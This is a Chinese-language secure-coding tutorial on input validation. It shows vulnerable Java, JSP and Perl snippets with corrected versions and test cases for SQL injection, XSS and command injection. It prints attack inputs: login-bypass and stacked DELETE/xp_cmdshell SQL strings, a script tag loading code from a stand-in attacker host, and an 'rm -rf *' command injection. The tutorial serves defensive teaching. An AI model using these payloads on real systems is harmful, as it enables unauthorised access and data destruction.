資料輸入驗證的資訊安全設計原則、測試、個案與實作
這篇文章主要說明資料輸入的驗證所帶來的資訊安全風險、怎樣才是比較適合的輸入驗證?
測試上建議的測試個案(XSS injection, Command injection, SQL injection)、相關的資安新聞實例與實作上的建議。
系統會從各個層面接收到使用者所資料輸入,
這些使用者所輸入的資料可能因為過失、錯誤或是刻意攻擊行為等,造成系統的異常或是非預期行為。
因為針對使用者輸入除了在使用者程式端要檢查之外,後端伺服器與資料庫更是要再次檢查。
資料驗證安全原則
使用者輸入除了在使用者程式端要檢查之外,後端伺服器與資料庫更是要再次檢查。
檢查的規則為何呢? 基本上分為四大類
- Known Good Exact Match (Whitelisting)
- Known Good Characters (Whitelisting)
- Known Bad Characters (Blacklisting)
- Known Bad Exact Match (Blacklisting)
安全設計的原則如下:
- 任何跟資料庫有關的輸入參數都要進行檢查 (避免 SQL injection 或是非預期的資料寫入資料庫)
- 資料回傳給使用者時也要檢查 (看看是否使用者透過其他方式取得非授權的資料)
- 驗證是否有執行系統指令相關的參數 (主要避免 command injection 的風險)
- 驗證輸入值的長度 (避免 buffer overflow 所帶來的 exploit)
SQL injection程式範例
這個例子就是一個 SQL Injection 的程式範例
[pastacode lang=”java” message=”” highlight=”” provider=”manual”]
1 string strUser = request.getParameter("user");
2 string strPwd = request.getParameter("password");
3
4 string strQuery = "SELECT * FROM users5 WHERE username = '" + strUser + "'
6 AND password = '" + strPwd + "'";
7
8 ExecuteQuery( strQuery, db_connection );
[/pastacode]
使用者可以透過輸入下列的資料,造成SQL injection。
測試個案1 : Adam’–
使用者名稱輸入 Adam’–
因為程式執行的時候,這個使用者名稱被帶入整個 SQL 的語句時,會變成下列結果。
SELECT * FROM users WHERE username = ‘ Adam’ — ‘ AND password = ”
由於 — 符號在SQL 中是註解的意義。因此上述 SQL 語句又等於下列SQL 語句
SELECT * FROM users WHERE username = ‘ Adam’
造成不需要密碼就可以登入成功。
測試個案2 : a’ OR 1=1 —
另外,使用者名稱也可以輸入 a’ OR 1=1 —
如此一來也可以造成 SQL 語句中的 Where 條件永遠成立。
測試個案3: 輸入”;”造成多重語句
當使用者名稱輸入為
a’; DELETE FROM username; SELECT * FROM items WHERE ‘a’=’a
整個 SQL 語句就會變成
SELECT * FROM username WHERE user = ‘a’; DELETE FROM username; SELECT * FROM username WHERE ‘a’=’a‘ AND password = ”
分行來看的話就是
SELECT * FROM username WHERE user = ‘a’;
DELETE FROM username;
SELECT * FROM username WHERE ‘a’=’a’ AND password = ”
測試個案4:透過 SQL injection執行指令xp_cmdshell
當使用者名稱輸入為
‘; EXEC master..xp_cmdshell ‘dir’ —
整個 SQL 語句就會變成
SELECT * FROM username WHERE user = ‘ ‘; EXEC master..xp_cmdshell ‘dir’ — ‘ AND password = ”
分行來看的話就是
SELECT * FROM username WHERE user = ”;
EXEC master..xp_cmdshell ‘dir’ –‘ AND password = ”
新聞案例
http://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
有些網站的參數是透過 URL 傳遞,例如這個利用透過 PageNav與Page 傳遞所需要的資料頁數,
http://www.hbgaryfederal.com/pages.php?pageNav=2&page=27
因此駭客就有可能利用巧妙的改變 PageNav 與 Page 的值達到 SQL injection。
SQL injection 安全設計
對於 SQL injection 來說,怎樣才是比較安全的設計呢? 主要有三點
- 限制長度 (例如,使用者名稱不需要超過 30字元)
- 只允許合法字元 (例如,使用者名稱只可以用a-z, A-Z。這也就是為什麼有些網站會禁止一些特殊字元的用法)
- Prepared statement (一般程式語言都會提供這樣的機制,就可以過濾掉 SQL injection 的問題)
上述的程式範例修改如下:
[pastacode lang=”java” message=”” highlight=”” provider=”manual”]
1 string strUser = request.getParameter("user");
2 if(strUser.length > 100) error();
3 if(strUser.matches("^[a-zA-Z]+$") == false) error();
4
5 string strQuery = "SELECT * FROM users6 WHERE username = ?
7 AND password = ?";
8
9 PreparedStatement stmnt = null;
10 stmnt = db_connection.prepareStatment(strQuery);
11 stmnt.setString(1,strUser);
12 stmnt.setString(2,strPwd);
13 stmnt.execute();
[/pastacode]
資料回傳至使用者前的驗證 (XSS)
要做這樣的驗證主要是避免 JavaScript injection 所帶來的資訊安全風險,
常見的例子,使用者巧妙的輸入一段 JavaScript 程式至留言板,其他訪客瀏覽到那個留言版時,就會執行該JavaScript造成非預期的結果
XSS 程式範例
例如這個範例,輸入 label
[pastacode lang=”java” message=”” highlight=”” provider=”manual”]
1 <% string strLabel = request.getParameter("label"); %>
2
3 <P>
4 Label: <%= strLabel %>5 </P>
[/pastacode]
XSS測試個案 1
如果駭客輸入下列字串:
<SCRIPT SRC=http://hacker.org/malicious.js />
就會導致整個網頁變成下列狀態,間接執行 Hacker 所設計的 JavaScript 程式。
<P>
Label: <SCRIPT SRC=http://hacker.org/malicious.js />
</P>
XSS測試個案 2
如果駭客輸入下列字串:
<IMG SRC=javascript:alert(‘XSS’)/>
alert()也是我們用來測試是否有 XSS 資安風險的常見輸入個案。
如果該輸入有 XSS風險,輸入之後就會在畫面直接看到一個 popup 視窗
XSS測試個案 3: 利用 Tamper Data 修改 Http 參數
XSS 可能發生在任何 Http Post/Get 的參數中,例如下列Post 參數有 id 與 action。
可以針對 id 輸入 <IMG SRC=javascript:alert(‘XSS’)/>,測試是否有 XSS injection 風險。
新聞個案- 透過 XSS 自動加入好友
http://it.slashdot.org/story/05/10/14/126233/Cross-Site-Scripting-Worm-Floods-MySpace
之前大名鼎鼎的 MySpace,有人透過 XSS 的方式讓其他訪客 “自動”就加入好友,因此在短時間內累積大量的好久。
修改後程式
上述的程式要如何修改才能避免 XSS安全風險呢?
- 限制合法字元
- 針對輸出 Encode。輸出包含 URL,HTML與 JavaScript。特別是 < 與 >的字元。
[pastacode lang=”java” message=”” highlight=”” provider=”manual”]
1 <%
2 string strLabel = request.getParameter("label");
3 if(strLabel.matches("^[a-zA-Z0-9]+$") == false) error();
4 %>
5
6 <P>
7 Label: <%= encodeHTML(strLabel) %>
8 </P>
[/pastacode]
Command Injection 的資訊安全風險
不好的程式範例
[pastacode lang=”markup” message=”” highlight=”” provider=”manual”]
1 my $options = readSocket($sock);
2 my $command = "/bin/ls " . $options;
3 system($command);
[/pastacode]
上述程式,如果參數值輸入為
-la; rm -rf *;
就會導致系統執行兩個指令,錯誤的將所有的檔案刪除
/bin/ls -la;
rm -rf *;
這個資訊安全風險是最危險的。因為駭客可以透過這樣的方式執行系統任何指令。進一步取得整台電腦的控制權。
如何避免這樣command injection的風險呢
- 避免程式中可以透過輸入的方式執行系統指令。
- 限制系統指令執行的權限設定
- 限制輸入長度
- 合法字元
- 如果是指令參數輸入,可以考慮用選項的方式而不是任意輸入字元的方式。後端系統只會允許特定指定的選項 ID。
修改後程式範例
[pastacode lang=”markup” message=”” highlight=”” provider=”manual”]
1 my $options = <STDIN>;
2 if length($options) > 100
3 {
4 error();
5 }
6 if ($options =~ m/^[a-zA-Z\- ]+$/)
7 {
8 my $command = "/bin/ls " . $options;
9 system($command);
10 }
[/pastacode]
Buffer Overflow的資訊安全風險
Buffer Overflow 是另外一個常見的資訊安全風險,駭客透過這樣的方式甚至可以取得系統權限,或是執行特定程式。
例如 IIS7.5 曾經發生的 Buffer overflow ,駭客透過這個漏洞可以執行任意的程式。
http://www.cvedetails.com/cve/CVE-2010-2730/
2015因為Buffer Overflow 所發現的資訊安全風險
http://www.cvedetails.com/vulnerability-list/year-2015/opov-1/overflow.html
iOS before 8.4.1 and OS X before 10.10.5也因為 Buffer overflow 的風險造成駭客可以執行任意程式。
http://www.cvedetails.com/cve/CVE-2015-5757/
這類系統性的風險相對測試有些難度。
系統安全設計上考量
- 避免使用會造成 buffer overflow 的 API。例如 strcpy
- 驗證輸入的值的長度
- 合法字元、包含 NULL 與特殊字元
- 最大值與最小值
- 限制合法字元的輸入